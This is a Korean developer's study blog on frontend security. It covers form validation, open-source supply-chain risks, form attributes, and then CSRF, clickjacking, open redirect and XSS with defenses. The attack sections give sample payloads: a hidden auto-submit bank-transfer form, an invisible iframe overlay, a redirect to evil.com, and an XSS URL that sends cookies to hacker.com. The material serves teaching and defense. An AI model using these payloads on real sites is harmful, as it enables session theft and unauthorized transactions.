브라우저 기본 유효성 검사와 커스텀 유효성 검사, 무엇이 더 좋을까?

이번에 웹 프론트엔드 보안 스터디를 진행하면서 HTML의 다양한 속성을 활용하여 간편하게 유효성 검사를 설정하는 것에 대해서 학습하게 되었다. 책을 읽는 과정에서 들었던 궁금증에 대해 고민해보고 답을 찾는 시간을 가졌던 것을 글로 적어보았다.

웹 form을 만들다 보면 input 태그에 pattern, required 등 HTML 속성을 활용해 간편하게 유효성 검사를 설정할 수 있다. 특히 pattern 속성은 정규표현식을 통해 특정 패턴을 강제할 수 있어서 자주 활용된다.

하지만 브라우저의 기본 유효성 검사를 사용할 때는 늘 한 가지 고민이 생긴다. 브라우저에서 제공하는 유효성 알림창은 디자인 커스터마이징이 어렵고, 사용자 경험을 해치거나 서비스의 UI와 어울리지 않는 경우가 많다는 점이다.

이러한 이유로 많은 개발자들이 브라우저 기본 유효성 검사를 꺼버리고, 자바스크립트나 프레임워크 내부 로직을 통해 직접 유효성 검사를 구현한다. 그렇다면, 유효성 검사를 어떤 방식으로 처리하는 것이 더 좋을까?


🖥️ 브라우저 기본 유효성 검사의 장단점

장점

  • HTML 속성만으로 쉽게 설정할 수 있다.
  • 스크린 리더를 포함한 보조기기에서 접근성이 우수하다.
  • 추가적인 로직 없이도 기본적인 유효성 검사 기능을 제공한다.

단점

  • 브라우저마다 디자인이 달라 통일된 UI 제공이 어렵다.
  • 사용자에게 보여지는 메시지를 커스터마이징하기 어렵다.
  • 커스텀 조건이나 비동기 검사(예: 이메일 중복 확인 등)를 구현할 수 없다.

🔨 직접 구현하는 커스텀 유효성 검사의 장단점

장점

  • UI/UX를 서비스의 스타일에 맞게 완전히 커스터마이징할 수 있다.
  • 실시간 검사, blur 시점 검사, 서버와의 연동 등 복잡한 로직 구현이 가능하다.
  • 오류 메시지를 구체적이고 직관적으로 설계할 수 있다.

단점

  • 개발 비용과 시간이 더 든다.
  • 접근성을 신경 쓰지 않으면 사용자에게 불친절한 폼이 될 수 있다.

어떤 방식이 더 좋을까?

방식 디자인 자유도 UX 제어 접근성 비동기 검사 추천도
브라우저 기본 낮음 제한적 기본 제공 안됨
JS 커스텀 높음 자유 구현 필요 가능 ⭐⭐⭐⭐
둘 다 병행 혼란 가능 이중 알림 가능 강화 구현 복잡 ⭐⭐ (권장 X)

결론적으로 브라우저 기본 유효성 검사는 단순한 폼이나 초기 프로토타입 단계에서는 유용할 수 있으나, 사용자 경험을 중요하게 생각하는 서비스에서는 커스텀 유효성 검사를 직접 구현하는 방식이 더 적합하다고 생각한다.

특히 커스텀 방식으로 구현하되, 접근성을 해치지 않도록 aria-invalid, aria-describedby 같은 WAI-ARIA 속성을 함께 사용하는 것이 좋다. 또한 <form> 태그에 novalidate 속성을 추가하면 브라우저의 기본 유효성 검사를 비활성화할 수 있어, 이중 알림을 방지할 수 있다.


결론

브라우저 기본 유효성 검사는 빠르게 적용할 수 있는 장점이 있지만, 사용자 경험이나 UI 일관성을 중요하게 생각한다면 커스텀 유효성 검사를 구현하는 것이 더 낫다. 개발자는 유효성 검사 방식의 선택에 있어 서비스의 성격, 사용자 환경, 접근성 기준 등을 종합적으로 고려해 적절한 방법을 선택해야 한다.

📚 참고

오픈소스 라이브러리, 정말 안전할까?

오픈소스 라이브러리, 왜 그리고 어떻게 쓰일까?

프론트엔드 개발에서는 라이브러리, 프레임워크, 빌드 툴 등을 자주 사용한다.
이 중 많은 도구들이 오픈소스 소프트웨어(OSS) 로 개발되어 소스 코드가 공개되어 있으며, 누구나 자유롭게 사용할 수 있다.

오픈소스는 개발 속도를 높이고 커뮤니티의 기여를 받을 수 있다는 장점이 있지만,
누구나 코드에 접근할 수 있다는 특성은 곧 보안 취약점으로 악용될 가능성도 내포하고 있다.

실제로 악성 코드가 삽입된 라이브러리를 무심코 설치해 사용자의 브라우저에서 코드가 실행되는 사례들이 발생하고 있다.


라이브러리에 숨어 있는 보안 위협들

1. 서드파티 라이브러리를 경유하는 공격

당사자가 아닌 제3자가 개발한 오픈소스 라이브러리에 의도적으로 악성 코드를 삽입하는 방식이다.
이를 이용해 해당 라이브러리를 사용하는 수많은 사용자에게 악성 행위를 퍼뜨릴 수 있다.

2. 코드 리뷰가 부족한 프로젝트에 대한 공격

오픈소스 프로젝트는 누구나 버그를 수정하거나 기능을 추가할 수 있다.
이 점을 악용해, 리뷰가 충분히 이뤄지지 않는 프로젝트에 악성 코드를 병합하는 사례도 존재한다.

3. 계정 탈취를 통한 악성 코드 배포

라이브러리 개발자 또는 유지보수자의 npm/GitHub 계정을 탈취해, 악성 버전을 공식적으로 배포하는 방식이다.
2018년 ESLint 패키지 유지보수자의 계정이 탈취되어 악성 코드가 배포된 사례가 대표적이다.
이후 GitHub와 npm은 2단계 인증(2FA)을 필수로 적용하게 되었다.

4. 의존성 라이브러리를 통한 간접 감염

우리가 사용하는 라이브러리(A)는 안전하더라도, A가 의존하는 라이브러리(B)에 악성 코드가 포함된 경우 간접 감염이 발생할 수 있다.

5. CDN에서 콘텐츠가 변조된 경우

CDN을 통해 불러온 라이브러리가 제공 과정에서 변조되어 악성 코드가 삽입되는 사례도 있다.

6. CDN에서 취약한 버전의 라이브러리를 불러오는 경우

CDN에서 최신 버전이 아닌, 보안 취약점이 존재하는 구버전을 참조하는 경우도 있다.
이 문제를 방지하기 위해서는 CSP(Content Security Policy) 설정을 활용할 수 있다.

Content-Security-Policy: script-src cdn.example

오픈소스 라이브러리, 안전하게 사용하는 방법

1. 취약점 확인 도구와 서비스 활용

라이브러리의 취약점을 조기에 발견하기 위해 자동화 도구를 활용한다.

1-1. 커맨드라인 도구: npm audit

npm audit
  • 의존성에 알려진 취약점이 있는지 확인할 수 있다.
  • npm audit fix로 자동 수정이 가능하다.
  • --production 옵션으로 production 환경 의존성만 검사할 수 있다..

1-2. GitHub Dependabot

  • GitHub에서 제공하는 의존성 취약점 점검 도구이다.
  • package-lock.json, yarn.lock 등을 분석하여 위험 라이브러리 사용 여부를 알려준다.
  • 취약 패키지 자동 업데이트 PR도 생성 가능하다.

1-3. 외부 보안 서비스

2. 유지보수가 활발한 라이브러리 사용

보안 취약점은 시간이 지남에 따라 발견되므로, 지속적인 유지보수가 이뤄지는 라이브러리를 선택해야 한다. 커뮤니티가 활발하고 릴리즈 주기가 일정한 프로젝트를 우선 고려하자.

3. 항상 최신 버전 유지

보안 패치는 주로 최신 버전에 포함되므로, 라이브러리와 의존성 파일(package-lock.json, yarn.lock 등)을 주기적으로 업데이트하는 습관이 중요하다. 대표적인 자동화 도구로는 Renovate가 있다.

4. Subresource Integrity(SRI)를 통한 변조 방지

외부 CDN을 통해 스크립트나 스타일시트를 불러올 경우, Subresource Integrity(SRI) 를 사용해 해당 파일이 변조되지 않았는지 검증할 수 있다.

<script src="https://cdn.example.com/lib.js" integrity="sha384-abc123" crossorigin="anonymous"></script>

브라우저는 지정된 해시값과 실제 리소스를 비교해 불일치 시 로드를 차단한다. CDN 서버는 CORS 헤더(Access-Control-Allow-Origin)도 반드시 포함해야 한다.

5. CDN에서 버전 명시하여 사용하기

CDN을 사용할 때는 latestmain 같은 가변 경로 대신, 고정된 버전 번호를 사용하는 것이 보안에 안전하다.

<!-- Bad -->
<script src="https://cdn.example.com/library.js"></script>

<!-- Good -->
<script src="https://cdn.example.com/library@1.2.3.js"></script>

마무리

오픈소스 라이브러리는 프론트엔드 개발을 빠르고 유연하게 만들어주는 큰 도구다. 하지만 이런 라이브러리로 인해 발생하는 보안 취약점은 결국에는 라이브러리 사용자가 책임을 지게 된다. 그렇기에 사용하는 라이브러리의 보안이 안전한지 반드시 점검해야 한다는 것을 이번에 책을 읽으면서 배우게 되었다.

라이브러리 설치 전 “정말 믿을 수 있는가?”를 한 번 더 점검하는 습관이 앞으로의 나의 개발에 있어서 프로젝트의 신뢰성과 안전성을 지키는 강력한 방법이 될 것이다.

📚 참고

  • 도서: 프런트엔드 개발을 위한 보안입문

웹 form 속 숨은 보안 이야기: 인증과 인가, 그리고 fieldset · autocomplete · inputmode

이번에 웹 프론트엔드 보안 스터디의 7번째 챕터 인증과 인가에 대해 읽으면서 새롭게 알게된 내용들과 잘 몰랐던 내용들에 대해 더 찾아보면서 학습한 내용들을 정리해봤다. 그래서 다소 글의 내용들이 큰 연관 없이 흘러가는 것처럼 보일 것이다. 하지만 아래의 모든 내용들은 모두 웹 form과 사용자 입력, 접근성과 보안이라는 공통점이 있다는 점을 유의하여 읽으면 좋을 것 같다.

인증과 인가

인증(authentication)

인증이란 통신 상대가 누구인지를 확인하는 일이다.
나의 언어로 해석 해 보자면, 인증이란 나랑 이야기 할 상대가 누구이지 확인하는 것이다.

인가 (authorization)

인가란 통신 상대에게 특정한 ‘권한’을 부여하는 것을 의미한다. 웹 애플리케이션에 로그인할 때 사용자는 인증과 동시에 허가도 받는다.
나의 언어로 해석해보자면 인가란 이야기하는 상대에게 우리 집에 들어오는 것을 허락하는 것이다.

인증과 인가 그림으로 설명하기

인증과 인가에 대해 이해한 방식을 그림으로 그려보았다.

인증과 인가


<fieldset><legend>

계정 생성 폼 구현 실습 부분에서 fieldsetlegend 태그를 보게 되었는데 form을 구현할 때 주로 사용하는 것처럼 보였다. 이게 뭔지 정확하게 알아보았다.

HTML에서 fieldsetlegend 태그는 form 안에서 구조를 명확하게 나누고 의미를 부여할 때 유용하게 쓰이는 태그이다.

fieldset 태그란?

<fieldset>폼 안의 입력 요소들을 그룹으로 묶을 때 사용한다.

<fieldset>을 사용하면 시각적으로 입력 그룹을 구분할 수 있다. (브라우저에서 기본적으로 테두리 생김)
스크린 리더 같은 보조 기술에서 그룹으로 인식되어 접근성 향상에 도움이 된다. 또, 스타일링이나 JS로 조작할 때 그룹 단위로 제어하기 쉽다.

예시

<form>
	<fieldset>
		<legend>개인 정보</legend>
		<label for="name">이름</label>
		<input type="text" id="name" />

		<label for="email">이메일</label>
		<input type="email" id="email" />
	</fieldset>
</form>

legend 태그란?

<legend>fieldset의 제목 역할을 한다.

legend는 스크린 리더가 읽을 때, fieldset에 포함된 모든 요소의 공통 제목처럼 읽힌다. 즉, fieldset 그룹의 의미를 전달하는 데 중요한 역할을 하는 것이다. 그렇기 때문에 접근성 향상에 아주 중요한 역할을 한다.


비밀번호 입력 보조하기

사용자들이 보다 보안성이 높은 비밀번호를 설정할 수 있도록 도와주는 기능을 개발하는 것도 프론트엔드 개발자가 해야 할 일이라고 생각한다. 비밀번호를 설정하는 것이 복잡하고 불편하다면 사용자는 결국 비밀번호를 대충 설정하게 되기 때문이다.

이번 챕터를 읽으면서 사용자가 복잡한 비밀번호를 쉽게 설정할 수 있는 방법에 대해 알게 되었는데 그 중에서도 가장 기억에 남는 두가지 방법을 간단하게 적어보았다.

1. autocomplete 속성

autocomplete 속성은 브라우저에게 해당 입력 필드의 용도를 알려주는 역할을 한다. 이를 통해 사용자는 이전에 입력한 값을 자동으로 불러올 수 있고 브라우저는 적절한 제안을 통해 입력 과정을 도와준다.

사용법

<form autocomplete="on">
	<label for="user">아이디</label>
	<input type="text" id="user" name="username" autocomplete="username" />

	<label for="pw">비밀번호</label>
	<input type="password" id="pw" name="password" autocomplete="current-password" />
</form>

특징

  • autocomplete 값은 미리 정의된 키워드 목록 중 하나를 사용해야 한다.
  • 브라우저가 제공하는 자동완성 기능과 직접적으로 연결된다.
  • 사용자의 입력 이력을 기반으로 자동 제안이 이뤄진다.
  • <form> 태그 전체에 autocomplete="off"를 지정하면 폼 내 모든 입력 필드의 자동완성을 비활성화할 수 있다.

자주 사용하는 키워드

입력 항목
사용자명 username
현재 비밀번호 current-password
새 비밀번호 new-password
이메일 email
전화번호 tel
이름 name, given-name, family-name
주소 address-line1, address-line2, postal-code
생년월일 bday, bday-year, bday-month, bday-day
카드정보 cc-name, cc-number, cc-exp, cc-csc

유의사항

  • autocomplete 값을 사용할 때는 name 속성과 함께 작성하는 것이 좋다. 브라우저가 필드를 식별하는 데 더 도움이 되기 때문이다.
  • 오타가 있는 키워드는 무시되므로, 정확한 문서 기반으로 작성해야 한다.

2. inputmode 속성

inputmode 속성은 사용자가 입력 필드에 접근했을 때 어떤 종류의 가상 키보드를 보여줄지를 브라우저에 알려주는 역할을 한다. 특히 모바일 환경에서 유용하게 쓰이는 속성이다.

사용법

<input type="text" inputmode="numeric" />
  • type="text"로 설정하면서도 숫자 키패드가 뜨도록 만들 수 있다.
  • 위 방법은 숫자만 입력받기를 원하지만 HTML의 type="number"가 제공하는 스핀박스 UI를 피하고 싶을 때 유용하다.
  • inputmode는 키보드만 제어할 뿐, 값의 유효성은 검사하지 않으므로 필요 시 pattern, maxlength 등을 함께 사용한다.

특징

  • inputmode화면 키보드의 타입을 제어할 수 있다.
  • 사용자의 입력 편의성을 높이고, 오입력 가능성을 줄일 수 있다.
  • type 속성과 함께 사용할 경우, inputmode는 키보드 유형만 지정하고 유효성 검사는 하지 않는다.

주요 inputmode 값

설명
text 일반 텍스트 키보드
numeric 숫자 전용 키패드 (0-9)
decimal 소수점 포함 숫자 입력 키패드
tel 전화번호 키패드
email 이메일 입력 키보드 (@, . 포함)
url URL 입력 키보드 (/, . 포함)

마무리

이번에 책을 읽으면서 autocompleteinputmode에 대해 새롭게 알게 되었다. 사실 이 두가지 속성이 제공하는 기능은 평소에 브라우저를 사용하면서 많이 접했던 기능들이다. 하지만 어떻게 구현하는지는 알지 못했다. 이번 기회를 통해 알게 되어서 좋았다. 다음에 이 두가지 속성을 적극 활용하여 사용자 중심의 UI/UX를 설계해야겠다.

또한, 이번에 책을 읽으면서 인증과 인가의 개념에 대해 나만의 언어로 간단하게 정리를 해보는 시간도 갖고 대충 알고 넘어갔던 <fieldset><legend> 두 태그에 대해서도 자세하게 알아보는 시간을 가졌다. 책을 읽으면서 평소라면 그냥 넘어갔을 내용들도 더 찾아보고 나만의 지식으로 얻게 되어 좋았다.

📚 참고

  • 도서: 프런트엔드 개발을 위한 보안입문

눈에 보이지 않는 위협: CSRF, 클릭재킹, 오픈 리다이렉트

CSRF (Cross-Site Request Forgery, 사이트 간 요청 위조)

CSRF는 사용자가 로그인한 상태에서 의도하지 않은 요청을 다른 사이트를 통해 보내도록 유도하는 공격이다. 서버는 사용자가 보낸 요청인지 공격자가 보낸 요청인지 구분하지 못하므로, 중요한 작업(예: 비밀번호 변경, 송금 등)이 공격자에 의해 실행될 수 있다.

🔍 공격 시나리오

구조 설명

  1. 사용자가 bank.com에 로그인한 상태로 브라우저를 켜둔다.
  2. 그리고 공격자가 만든 악성 사이트 evil.com에 접속한다.
  3. 이 사이트에는 img, form, script 등을 이용해 자동으로 bank.com에 요청을 보내는 코드가 존재한다.
  4. 사용자의 브라우저는 로그인 상태 쿠키를 bank.com 요청에 자동으로 포함시킨다.

예시 코드

<!-- evil.com에 존재하는 HTML -->
<!-- display: none;으로 인해 보이지 않음 -->
<form action="https://bank.com/transfer" method="POST" style="display: none;">
	<input type="hidden" name="to" value="attacker-account" />
	<input type="hidden" name="amount" value="100000" />
	<input type="submit" />
</form>
<script>
	document.forms[0].submit(); // 자동 제출
</script>

⚠️ 왜 위험한가?

  • 사용자는 악성 사이트에서 클릭도 하지 않고 은행 계좌에서 송금이 일어난다.
  • 요청은 정상적인 POST 방식이고, 사용자의 세션 쿠키도 포함되어 있으므로 서버는 정상 요청으로 오해하게 된다.

🛡 대응 방법

1. SameSite 쿠키 설정

Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
  • SameSite=Strict: 다른 출처에서 유입된 모든 요청에 쿠키를 포함하지 않음 → 가장 강력
  • SameSite=Lax: 안전한 메서드(GET 등)만 허용 → 로그인 후 이동 정도는 가능
  • SameSite=None: 외부 도메인에서도 사용 가능, 단 Secure 필수 → CORS와 함께 주의 필요

프론트에서는 이 설정이 제대로 작동하는지 확인해야 하며, CORS 설정과 함께 연동될 수 있다.

2. CSRF 토큰 사용

토큰 발급 구조

로그인 시, 서버가 고유한 CSRF 토큰을 발급해 HTML에 포함하거나 응답으로 내려준다.

<!-- index.html -->
<meta name="csrf-token" content="abc123" />

API 요청 시 토큰을 헤더에 추가

const token = document.querySelector('meta[name="csrf-token"]').content;

axios.post(
	'/transfer',
	{ to: 'abc', amount: 10000 },
	{
		headers: { 'X-CSRF-Token': token },
	}
);

서버는 쿠키 인증 외에도 이 토큰이 있는지 검증해, 공격자가 위조한 요청을 거부한다.


클릭재킹 (Clickjacking)

클릭재킹은 정상적인 UI를 iframe으로 감싸서 투명하게 만든 뒤, 사용자가 의도하지 않은 클릭을 하게 만드는 공격이다. 사용자는 겉으로는 로그인 버튼을 클릭한 줄 알지만, 실제로는 송금, 결제 등의 위험한 동작을 실행한 것이다.

🔍 공격 시나리오

구조 설명

  1. 공격자가 자신의 사이트 evil.comiframe으로 your-site.com의 민감한 페이지(예: 설정, 결제, 회원탈퇴 등)를 삽입한다.
  2. iframeopacity: 0 또는 z-index를 이용해 투명하게 숨겨진 상태로 배치된다.
  3. 사용자는 ‘플레이’ 버튼을 누른다고 생각하지만, 실제로는 iframe 안의 ‘회원 탈퇴’ 버튼을 누르게 되는 것이다.

예시 코드

<!-- evil.com -->
<style>
	iframe {
		opacity: 0;
		position: absolute;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
		z-index: 10;
	}

	button {
		position: relative;
		z-index: 1;
	}
</style>

<iframe src="https://your-site.com/settings/delete-account"></iframe>
<button>플레이 버튼</button>

⚠️ 왜 위험한가?

  • 사용자는 자신의 의지와 상관없이 민감한 동작을 실행할 수 있다.
  • 예를 들어, SNS에서 “좋아요”를 클릭하는 것처럼 보이지만 실제로는 비밀번호 변경이나 탈퇴 등의 작업이 이루어질 수 있다.
  • 관리자 페이지에 대한 클릭재킹이 이루어지면, 권한 변경이나 서비스 중단 등의 심각한 결과로 이어질 수 있다.
  • 공격이 시각적으로 인지되지 않기 때문에, 피해자가 공격 사실을 오랫동안 인지하지 못할 수 있다.

🛡 대응 방법

1. X-Frame-Options 헤더 설정

서버에서 응답 헤더로 다음을 설정한다.
어떤 사이트에서도 이 페이지를 iframe으로 삽입할 수 없다.

X-Frame-Options: DENY

같은 출처 내에서만 iframe 삽입을 가능 (예: 도메인이 같은 관리자용 프리뷰 등 허용 가능)하게 하고 싶다면 다음과 같이 설정한다.

X-Frame-Options: SAMEORIGIN

2. Content-Security-Policy 설정

보다 유연하고 정밀한 제어가 필요하다면 다음과 같은 방식으로 설정한다.

Content-Security-Policy: frame-ancestors 'none';
  • frame-ancestors 'none': 모든 사이트에서 iframe 삽입을 금지
  • frame-ancestors 'self': 같은 출처만 허용
  • frame-ancestors https://trusted.com: 특정 도메인만 허용

3. 프론트에서 iframe 감지

보안은 완전히 되지 않지만, 사용자 브라우저에서 감지해 탈출하는 방법이다.

if (window.top !== window.self) {
	// iframe 안에 있음
	window.top.location = window.location; // 부모로 이동
}

오픈 리다이렉트 (Open Redirect)

오픈 리다이렉트는 사용자가 로그인 또는 특정 작업을 마친 후 외부 악성 사이트로 이동하도록 유도할 수 있는 취약점이다. 주로 URL 파라미터로 리다이렉트 주소를 받는 로직에서 발생한다.

🔍 공격 시나리오

구조 설명

  1. 공격자는 사용자에게 다음과 같은 URL을 보낸다.

    https://your-site.com/login?redirect=https://evil.com
    
  2. 사용자는 신뢰할 수 있는 사이트(your-site.com)인 줄 알고 로그인하거나 작업을 진행한다.

  3. 로그인 후, 프론트에서는 redirect 파라미터를 읽어 window.location.href로 이동 처리한다.

    const redirect = new URLSearchParams(location.search).get('redirect');
    window.location.href = redirect;
    
  4. 결과적으로 사용자는 공격자가 제어하는 피싱 사이트(evil.com)로 이동하게 된다.

⚠️ 왜 위험한가?

  • 사용자는 URL이 your-site.com으로 시작되기 때문에 신뢰하고 클릭하지만, 결국엔 공격자가 만든 외부 사이트로 리다이렉트된다.

  • 피싱 사이트에서 사용자에게 다시 로그인 또는 개인정보 입력을 요구함으로써, 계정 탈취나 금융 정보 유출로 이어질 수 있다.

  • OAuth 로그인 방식(SNS 로그인)과 함께 쓰일 경우, 공격자는 토큰 탈취, 로그인 세션 가로채기 등의 추가적인 피해를 유발할 수 있다.

  • 공격 URL을 이메일, 메신저 등에 퍼뜨리기 쉬워 사회공학적 공격(Social Engineering)에 자주 활용된다.

사회공학적 공격?
사람의 심리나 습관을 이용해 정보를 탈취하는 공격 방식이다. 기술보다 사람을 속여서 보안을 우회하는 것이 핵심이다.


🛡 대응 방법

1. 리다이렉트 경로 화이트리스트 제한

사전에 허용된 경로만 리다이렉트 대상으로 허용하는 화이트리스트 방식이다.
예를 들어 사용자가 로그인 후 /dashboard/mypage로 이동하도록 할 수는 있지만, https://evil.com처럼 외부 URL은 강제로 거부되거나 기본 경로(/)로 이동하게 된다.

단순하지만 가장 확실하게 오픈 리다이렉트 취약점을 차단할 수 있는 방법이다. 단점은 화이트리스트가 늘어날수록 관리가 번거로워질 수 있다..

const redirectParam = new URLSearchParams(location.search).get('redirect');
const allowList = ['/dashboard', '/mypage', '/account'];

// 절대 URL 사용 금지, 내부 경로만 허용
if (redirectParam && allowList.includes(redirectParam)) {
	window.location.href = redirectParam;
} else {
	window.location.href = '/';
}

2. 외부 URL 탐지 및 경고

리다이렉트 대상이 외부 URL인지 여부만 판단하여, 외부 URL일 경우 즉시 이동하지 않고 사용자에게 경고를 표시하는 방식이다.
내부 경로뿐 아니라 외부 경로도 일부 허용하되, 사용자의 주의를 유도하여 피싱이나 사칭 피해를 방지할 수 있다. 다만, 경고만으로 모든 위험을 완전히 차단할 수는 없으며 보안에 민감한 서비스에서는 가능한 한 외부 URL 리다이렉트를 아예 막는 것이 더 안전하다.

function isExternalUrl(url) {
	return /^https?:\/\//.test(url); // 절대경로인지 확인
}

const target = new URLSearchParams(location.search).get('redirect');

if (isExternalUrl(target)) {
	alert('외부 사이트로 이동합니다. 주소를 확인하세요.');
} else {
	window.location.href = target;
}

마무리

이러한 보안 위협은 프론트엔드 코드 한 줄, 조건문 한 줄에서 발생할 수 있으므로 의도를 정확히 파악하고 사용자 입력을 검증하며 항상 방어적인 코딩을 염두에 두는 것이 중요하다.

해당 도서를 통해 다양한 보안 위협에 대해 알게 되면서, 앞으로 개발을 진행할 때 어떤 부분을 유의해서 코드를 작성해야 할지 알 수 있게 되어 좋았다. 당장 쉽게 적용할 수 있는게 오픈 리다이렉트를 방지하기 위해 화이트리스트를 작성하는 방법 등..!

📚 참고

웹 보안의 위협, XSS(Cross-site Scripting)

크로스 사이트 스크립팅(Cross-site Scripting, XSS)?

XSS은 공격자가 웹사이트에 악의적인 스크립트를 삽입하여 다른 사용자의 웹 브라우저에서 실행되도록 하는 웹 보안 취약점이다.
이 공격을 통해 공격자는 사용자의 세션 쿠키, 개인정보 등을 탈취하거나, 웹사이트를 변조하고 악성 사이트로 사용자를 리디렉션하는 등 다양한 악의적인 행위를 할 수 있다.


XSS 공격의 원리

XSS 공격은 웹 애플리케이션이 사용자로부터 입력받은 데이터를 검증하거나 필터링하지 않고 그대로 페이지에 표시할 때 발생한다.
공격자는 이 허점을 이용하여 <script>와 같은 HTML 태그를 포함한 악성 스크립트를 게시글, 댓글, 검색어 등 사용자가 입력할 수 있는 모든 곳에 삽입한다. 이후, 다른 사용자가 해당 페이지를 열람하면 그들의 브라우저는 삽입된 스크립트를 신뢰할 수 있는 웹사이트의 일부로 인식하고 실행하게 된다.


XSS 공격의 주요 유형

XSS 공격은 악성 스크립트가 저장되는 위치와 실행되는 방식에 따라 크게 세 가지 유형으로 나뉜다.

1. 저장형 XSS (Stored XSS)

저장형 XSS는 가장 위험한 유형의 XSS 공격이다. 공격자가 악성 스크립트를 웹 서버의 데이터베이스나 파일 시스템에 영구적으로 저장하고, 이후 이 스크립트가 불특정 다수의 사용자에게 실행되도록 유도하는 방식이다.

📝 시나리오 예시

어떤 쇼핑몰의 상품 후기 게시판이 있다고 가정해보자. 사용자가 작성한 후기를 서버에 저장한 뒤, 다시 불러와서 웹 페이지에 출력하는 구조이다. 이때 후기를 출력할 때 스크립트 필터링 없이 그대로 DOM에 삽입할 경우, 저장형 XSS가 발생할 수 있다.

  • 취약한 프론트엔드 코드 (Vanilla JS 예시)

    // 서버에서 가져온 후기 데이터를 받아 DOM에 삽입하는 코드
    fetch('/api/comments?id=123')
    	.then((res) => res.text())
    	.then((comment) => {
    		const container = document.getElementById('comment-section');
    		container.innerHTML = `<div>${comment}</div>`; // ⚠️ 위험한 코드
    	});
    
  • 공격자가 삽입한 악성 스크립트 예시

    정말 좋은 상품이네요!
    <script>
    	alert('당신의 쿠키 정보가 탈취되었습니다!');
    </script>
    
  • 공격 과정

    1. 공격자가 위와 같은 악성 <script> 태그가 포함된 후기를 작성하면, 이 내용은 서버의 데이터베이스에 저장된다.
    2. 이후 일반 사용자가 후기 페이지에 접속하면, 위에서 보여준 JS 코드가 서버에서 해당 후기를 불러온다.
    3. innerHTML을 사용해 필터링 없이 DOM에 삽입되면서, <script>가 실행된다.
    4. 공격자의 스크립트가 실행되어 사용자의 브라우저에서 경고창이 뜬다. 실제 공격에서는 document.cookie를 탈취하거나 외부 서버로 전송하는 코드가 삽입될 수 있다.
    <div>
    	정말 좋은 상품이네요!
    	<script>
    		alert('당신의 쿠키 정보가 탈취되었습니다!');
    	</script>
    </div>
    

⚠️ 문제의 핵심

innerHTML을 통해 사용자 입력을 그대로 DOM에 삽입할 경우, 저장형 XSS에 취약해진다. 이는 자바스크립트 환경에서도 흔히 발생하는 실수이며, 서버에서 필터링되지 않은 데이터를 클라이언트에서 그대로 사용하면 이런 공격에 노출될 수 있다.

2. 반사형 XSS (Reflected XSS)

반사형 XSS는 악성 스크립트가 서버에 저장되지는 않지만, 사용자의 요청(Request)에 포함되어, 서버의 응답(Response)에 그대로 반사되어 브라우저에서 실행되는 방식이다.

📝 시나리오 예시

어떤 웹사이트에 검색 기능이 있다고 가정해보자. 사용자가 검색어를 입력하면, 해당 검색어를 페이지에 표시하면서 검색 결과를 보여주는 구조이다.

  • 취약한 프론트엔드 코드 (Vanilla JS 예시)

    // URL의 query string에서 검색어(keyword)를 추출
    const params = new URLSearchParams(location.search);
    const keyword = params.get('keyword');
    
    // 검색어를 필터링 없이 DOM에 삽입
    const resultTitle = document.getElementById('result-title');
    resultTitle.innerHTML = `<h2>${keyword}에 대한 검색 결과</h2>`; // ⚠️ 위험한 코드
    
  • 공격자가 만든 악성 URL

    공격자는 keyword 파라미터에 스크립트를 삽입하여 아래와 같은 URL을 만든다.

    https://example.com/search?keyword=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>
    
  • 공격 과정

    1. 공격자는 이메일, 메신저, 혹은 광고를 통해 위 URL을 사용자에게 전달한다.
    2. 사용자가 해당 링크를 클릭하면, 브라우저는 keyword 값에 스크립트를 담아 페이지를 로드한다.
    3. 페이지가 로드되면서 위의 JS 코드가 location.search에서 파라미터를 추출하고, innerHTML로 DOM에 삽입한다.
    4. 결과적으로 <script>가 실행되며, 사용자의 쿠키 정보가 외부 공격자 서버로 전송된다.
    <h2>
    	<script>
    		document.location = 'http://hacker.com/steal?cookie=' + document.cookie;
    	</script>
    	에 대한 검색 결과
    </h2>
    

⚠️ 문제의 핵심

  • innerHTML을 통해 쿼리 스트링의 값을 필터링 없이 DOM에 출력하는 것이 핵심적인 취약점이다.
  • 반사형 XSS는 서버에 저장되는 정보 없이 즉시 실행되므로, 탐지와 방어가 더 어렵다.

3. DOM 기반 XSS (DOM-based XSS)

DOM 기반 XSS는 서버와의 통신 없이, 브라우저에서 실행되는 자바스크립트 코드 내부에서 직접 발생하는 공격이다. 서버는 전혀 관여하지 않기 때문에, 탐지 및 대응이 더 어려운 편이다.

📝 시나리오 예시

어떤 웹사이트가 URL의 해시(#) 값을 가져와 사용자에게 환영 메시지를 출력하는 구조라고 가정해보자. 예를 들어, example.com/#홍길동으로 접속하면 “홍길동님, 환영합니다!” 라는 메시지를 보여주는 방식이다.

  • 취약한 프론트엔드 코드 (Vanilla JS 예시)

    <div id="welcome"></div>
    
    <script>
    	// URL의 해시(#) 값에서 이름 추출
    	const name = decodeURIComponent(location.hash.slice(1));
    
    	// 이름을 HTML로 그대로 삽입 (⚠️ 매우 위험)
    	document.getElementById('welcome').innerHTML = `${name}님, 환영합니다!`;
    </script>
    
  • 공격자가 만든 악성 URL

    공격자는 해시 값에 악성 HTML을 삽입해 다음과 같은 URL을 만든다.

    http://example.com/#<img src=x onerror=alert('DOM XSS!')>
    
  • 공격 과정

    1. 공격자는 위 URL을 사용자에게 전달하고 클릭을 유도한다.
    2. 사용자가 해당 URL로 접속하면, 브라우저는 해시(#) 이후의 값을 location.hash를 통해 읽어들인다.
    3. 위 자바스크립트 코드는 해당 값을 필터링 없이 innerHTML로 삽입한다.
    4. 결과적으로 <img src=x onerror=...> 요소가 DOM에 삽입되고, 이미지 로딩 실패로 인해 onerror 이벤트가 실행되며 alert('DOM XSS!')가 동작한다.
    <div id="welcome"><img src="x" onerror="alert('DOM XSS!')" />님, 환영합니다!</div>
    

⚠️ 문제의 핵심

  • DOM XSS는 서버 요청 없이도 발생하기 때문에 서버 로그로는 추적이 불가능하다.
  • innerHTML 사용 시 사용자 입력을 그대로 넣으면 HTML 해석이 발생하고, 이로 인해 스크립트가 실행될 수 있다.

XSS 공격을 방지하는 방법

1. textContent로 HTML 해석 방지하기

가장 기본적이면서도 강력한 방법은 innerHTML 대신 textContent를 사용하는 것이다.
innerHTML은 문자열을 HTML로 파싱 및 렌더링하므로 스크립트 실행의 가능성이 있다. 그러나, textContent는 HTML을 파싱하지 않고 순수 텍스트로만 출력되므로, 스크립트 실행을 원천 차단할 수 있다.

const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('welcome').textContent = `${name}님, 환영합니다!`;

